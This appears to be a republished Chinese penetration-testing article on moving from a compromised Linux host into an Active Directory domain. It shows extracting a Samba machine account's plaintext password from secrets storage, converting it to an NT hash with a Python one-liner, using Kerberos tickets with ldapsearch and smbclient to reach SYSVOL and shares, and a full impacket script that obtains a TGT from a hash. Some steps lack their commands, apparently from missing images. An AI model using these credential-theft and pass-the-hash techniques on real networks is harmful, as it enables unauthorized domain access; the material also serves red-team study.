本文讲的是
渗透测试时,如何从Linux拓展到AD域?,
适用于SAMBA3的方法
1. SECRETS/SALTING_PRINCIPAL/DES/LAB.BRANSH.COM: 这一数据将主机名,域名展示给了我们。将以$符号结束的用户名记录下来,在这一环境中,用户名为ubuntu3$. 2. SECRETS/MACHINE_PASSWORD/LAB:这一数据就展示了机器账户(ubuntu3$)的明文密码,长度为14个字节(加上终止符0),这一环境中,密码为:"UeHjnbam_zdtr#"
1. 用户ubuntu13执行kinit命令从KDC中获得了TGT。 2. 通过klist命令列出了tickets 3. 通过ldapsearch使用Kerberos认证方法进行LDAP查询。
1. ubuntu13通过kinit命令得到一个TGT。 2. 通过klist获取tickets。 3. 通过smbclient使用Kerberos就可以进入默认域中的SYSVOL文件夹。
1. 通过smbclient使用机器账户获得的Kerberos票据就可以访问到域成员共享的内容。 2. 通过klist命令获得域中的tickets。
# echo “E79EB7…880” | python -c “import hashlib,binascii;print binascii.hexlify(hashlib.new(‘md4’,binascii.unhexlify(raw_input().replace(‘’, ‘’).replace(‘00’,’’)).decode(‘utf-8’).encode(‘utf-16le’)).digest())”
from impacket.krb5.ccache import CCache from impacket.krb5.kerberosv5 import getKerberosTGT from impacket.krb5 import constants from impacket.krb5.types import Principal import argparse, sys from binascii import unhexlify def main(domain, username, password, ntlm, kdc): # First of all, we need to get a TGT for the user userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) nthash = unhexlify(ntlm) # getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost) print '[*] Requesting a TGT from the KDC...' tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, '', nthash, '', kdc) print '[*] Generating a CCACHE...' ccache = CCache() ccache.fromTGT(tgt, oldSessionKey, sessionKey) tgt_name = user + '@' + domain + '_TGT_.ccache' print '[*] Saving the CCACHE into the file %s...' % (tgt_name) ccache.saveFile(tgt_name) if __name__ == '__main__': print 'nSimple br@nsh test for getting a TGTn' parser = argparse.ArgumentParser(add_help = True, description = "Gets a TGT from the KDC") parser.add_argument('-user', action='store', default='', help="Domain User (sAMAccountName)") parser.add_argument('-password', action='store', default='', help='User's password') parser.add_argument('-domain', action='store', default='', help='Domain name') parser.add_argument('-ntlm', action="store", default='', metavar="NTHASH", help='NTLM hash') parser.add_argument('-kdc', action='store', default='', help='Domain Controller') # Parse the arguments options = parser.parse_args() domain = options.domain user = options.user password = options.password ntlm = options.ntlm kdc = options.kdc # If not enough information is provided if domain == '' or user == '' or kdc == '': parser.print_help() sys.exit(1) # If the password was not provided, then ask for it if password == '' and user != '' and ntlm == '': from getpass import getpass password = getpass("Password:") # If a hash is provided, then use it if ntlm != '': password = None try: main(domain, user, password, ntlm, kdc) except Exception, e: import traceback print traceback.print_exc()
原文发布时间为:2017年6月13日
本文作者:xnianq
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。